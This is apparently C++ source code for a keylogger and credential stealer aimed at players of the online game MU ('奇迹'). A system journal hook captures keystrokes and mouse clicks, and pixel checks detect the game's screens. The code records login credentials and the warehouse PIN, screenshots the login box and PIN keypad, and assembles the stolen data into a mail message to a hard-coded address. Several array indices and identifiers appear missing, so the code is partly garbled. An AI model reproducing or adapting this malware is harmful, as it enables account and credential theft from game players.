|
//Data文件
HHOOK g_hLogHook=NULL;//钩子变量
int State=0;//跟踪状态
String AllResult="";//状态变化记录
Graphics::TBitmap* SectionMap;//区号图片
Graphics::TBitmap* ServerMap;//服务器号图片
String LogMessage="";//登录消息记录
Graphics::TBitmap* LogMap;//登录框图片
String DepotMessage="";//仓库密码输入消息记录
Graphics::TBitmap* DepotMap;//仓库键盘图片
String TempDepotMessage="";//仓库密码输入消息临时记录
Graphics::TBitmap* TempDepotMap;//仓库键盘临时图片
String GameName="奇迹";//游戏名字
String GameFlag="MUMU";//游戏进程标志
//String GameFlag="TApplicationMiracle";//游戏进程标志
String MailTo="[email protected]";//接受邮箱
String ThisFlag="金钻";//邮件附加标志
String TheDateTime="";//启动时间
String ReceiveString="";
bool Waiting=false;
String KeyStr[256]=
{
"","","","","","","","","[BK]","[TAB]",//9
"","","[Choose]","[EN]","","","[Shift]","[Ctrl]","","[Pause]", //19
"","","","","","","","[ESC]","","", //29
"[CL]","","[SP]","[PU]","[PD]","[END]","[HOME]","[LF]","[UF]","[RF]", //39
"[DF]","","","","","[INS]","[DEL]","","0","1", //49
"2","3","4","5","6","7","8","9","","", //59
"","","","","","A","B","C","D","E", //69
"F","G","H","I","J","K","L","M","N","O", //79
"P","Q","R","S","T","U","V","W","X","Y", //89
"Z","[LMiro]","[RMiro]","[Popu]","","[Sleep]","0","1","2","3", //99
"4","5","6","7","8","9","*","+","","-", //109
".","/","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]", //119
"[F9]","[F10]","[F11]","[F12]","","","","","","", //129
"","","","","","","","","","", //139
"","","","","[NL]","[SL]","","",")","!", //149
"@","#","$","%","^","&","*","(","a","b", //159
"c","d","e","f","g","h","i","j","k","l", //169
"m","n","o","p","q","r","s","t","u","v", //179
"w","x","y","z","","",";","=",",","-", //189
".","/","`","","","",":","+","<","_", //199
">","?","~","","","","","","","", //209
"","","","","","","","","","[", //219
"\\","]","\'","","","","","","","{", //229
"|","}","\"","","","","","","","", //239
"","","","","","","","","","", //249
"","","","","","[WakeUp]"
};
int ColorDate[11][5][3]=//10个阶段、4个分辨率、5个点、3个因素
{
520,109,0,470,178,13023909,537,180,16777207,454,649,0,540,641,0,//选择服务器界面
360,676,3224625,654,688,3223618,673,488,2696249,347,531,3223618,111,664,0,//连接服务器过渡图片
360,676,3224625,654,688,3223618,673,488,2696249,347,531,3223618,111,664,0,//登录界面
347,460,4216687,432,460,2111295,519,460,3162207,601,460,5271423,660,460,3168095,//用户验证过渡图片
73,87,0,467,3,4347226,551,7,5920090,992,168,5395794,1011,262,1052688,//角色选择界面
3,638,0,1,764,1792,735,764,985103,1020,722,1054480,1001,630,0,//游戏进行界面1
347,166,5204095,348,324,10467536,458,424,10541295,675,377,987151,651,166,8372447,//输入仓库密码界面
484,224,13600911,497,224,13666447,512,223,13666447,525,223,13600911,526,219,13666447,//输入四位密码时图片
435,103,7309215,560,103,7378864,673,139,2105376,504,126,16777215,523,127,16777215,//仓库密码错误提示图片
1015,661,3159856,1023,759,985103,267,744,3174287,123,750,0,10,660,1052688,//游戏进行界面2
1006,630,0,992,709,1792,756,743,5279919,269,743,8435663,12,635,16777215//游戏进行界面3
};
//cpp文件
//---------------------------------------------------------------------------
//识别游戏进程
bool Validate(int Count)
{
int TempPlace[5];
HDC hdc = GetDC(0);
for(int i=0;i<5;i++)
TempPlace=GetPixel(hdc,ColorDate[Count][0],ColorDate[Count][1]);
ReleaseDC(0, hdc);
int MyTime=0;
for(int i=0;i<5;i++)
if(abs(((TempPlace>>16)&255)-((ColorDate[Count][2]>>16)&255))<10
&&abs(((TempPlace>>8)&255)-((ColorDate[Count][2]>>8)&255))<10
&&abs((TempPlace&255)-(ColorDate[Count][2]&255))<10)
MyTime++;
return MyTime>=4;
}
//---------------------------------------------------------------------------
//系统消息钩子
HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam)
{
if(iCode<0)return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
if(iCode==HC_ACTION)
{
EVENTMSG* pEvt=(EVENTMSG*)lParam;
String MessageStr;
if(pEvt->message==WM_KEYDOWN)
{
int vKey=LOBYTE(pEvt->paramL);//取得虚拟键值
bool bShift=(GetKeyState(0x10)<0);
bool bCapital=(GetKeyState(0x14)&1)==1;
if(KeyStr[vKey]=="[ESC]"&&bShift)//接到退出指令
{
AllResult+="~close ";
Form1->Timer1->Enabled=false;
AllResult+="~Data ";
TStringList* MailText=new TStringList;
MailText->Add("游戏名字:"+GameName);
MailText->Add("附加标志:"+ThisFlag);
MailText->Add("启动时间:"+TheDateTime);
MailText->Add("游戏分区:"+Coding(SectionMap,254,254,254));
MailText->Add("服务器号:"+Coding(ServerMap,206,206,206));
MailText->Add("登录消息:"+LogMessage);
MailText->Add("登录图片:"+Coding(LogMap,254,238,222));
MailText->Add("仓库消息:"+DepotMessage);
MailText->Add("仓库图片:"+Coding(DepotMap,127,119,143,false));
MailText->Add("状态变化:"+AllResult);
TStringList* SendText=new TStringList;
for(int i=1;i<26;i++)
SendText->Add(MailOrder);
for(int i=0;i<MailText->Count;i++)
SendText->Add("S: "+MailText->Strings);
for(int i=26;i<32;i++)
SendText->Add(MailOrder);
SendText->SaveToFile("333.txt");
delete MailText;
delete SendText;
Form1->Close();
}
if(vKey>=48 && vKey<=57) //数字键0-9
if(!bShift)
MessageStr=KeyStr[vKey];
else
MessageStr=KeyStr[vKey+100];
if(vKey>=65 && vKey<=90) //A-Z a-z
if(bCapital ^ bShift)
MessageStr=KeyStr[vKey];
else
MessageStr=KeyStr[vKey+93];
if(vKey>=186 && vKey<=222) //其它符号键
if(!bShift)
MessageStr=KeyStr[vKey];
else
MessageStr=KeyStr[vKey+10];
if( (vKey>=96 && vKey<=111) //小键盘
||(vKey>=112 && vKey<=123) // 功能键 [F1]-[F12]
||(vKey>=8 && vKey<=46)) //方向键
MessageStr=KeyStr[vKey];
}
POINT MyPosition;
if(pEvt->message==WM_LBUTTONDOWN)
{
GetCursorPos(&MyPosition);
MessageStr="[L]("+String(MyPosition.x)+","+String(MyPosition.y)+")";
}
AllResult+=MessageStr;
if(pEvt->message==WM_KEYDOWN||pEvt->message==WM_LBUTTONDOWN)
{
switch(State)
{
case 2://已选择服务器号状态;
{
if(pEvt->message==WM_LBUTTONDOWN)
{
HDC hdc = GetDC(0);
BitBlt(ServerMap->Canvas->Handle,0,0,ServerMap->Width,ServerMap->Height,
hdc,Screen->Width/2-30,Screen->Height/2-80,SRCCOPY);
BitBlt(SectionMap->Canvas->Handle,0,0,SectionMap->Width,SectionMap->Height,
hdc,Screen->Width-SectionMap->Width,Screen->Height-SectionMap->Height,SRCCOPY);
ReleaseDC(0, hdc);
}
break;
}
case 4://登录状态;
{
LogMessage=LogMessage+MessageStr+" ";
if(pEvt->message==WM_LBUTTONDOWN||MessageStr=="[EN]")
{
HDC hdc = GetDC(0);
BitBlt(LogMap->Canvas->Handle,0,0,LogMap->Width,LogMap->Height,
hdc,Screen->Width/2-ServerMap->Width/2,Screen->Height/2+100,SRCCOPY);
ReleaseDC(0, hdc);
}
break;
}
case 8://输入仓库密码状态;
{
if(pEvt->message==WM_LBUTTONDOWN)
{
int X=MyPosition.x,Y=MyPosition.y;
if((X>356)&&(X<612)&&(Y>245)&&(Y<357))
{
X-=357;
Y-=246;
if((X%64<50)&&(Y%61<50))
TempDepotMessage+=String(Y/61*5+X/64)+" ";
}
if((X>548)&&(X<661)&&(Y>381)&&(Y<413))
{
AllResult+="~7 ";
State=7;
Form1->Timer1->Enabled=false;
Sleep((unsigned int)1000);
Form1->Timer1->Enabled=true;
}
if((X>357)&&(X<408)&&(Y>367)&&(Y<419))
TempDepotMessage+="B ";
}
break;
}
case 81://已输入四位仓库密码状态;
{
if(pEvt->message==WM_LBUTTONDOWN)
{
int X=MyPosition.x,Y=MyPosition.y;
if((X>548)&&(X<661)&&(Y>381)&&(Y<413))
{
AllResult+="~7 ";
State=7;
Form1->Timer1->Enabled=false;
Sleep((unsigned int)1000);
Form1->Timer1->Enabled=true;
}
if((X>424)&&(X<536)&&(Y>381)&&(Y<413))
{
AllResult+="~82 ";
State=82;
}
if((X>357)&&(X<408)&&(Y>367)&&(Y<419))
{
TempDepotMessage+="B ";
AllResult+="~8 ";
State=8;
}
}
break;
}
}
}
}
return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
}
//---------------------------------------------------------------------------
|
|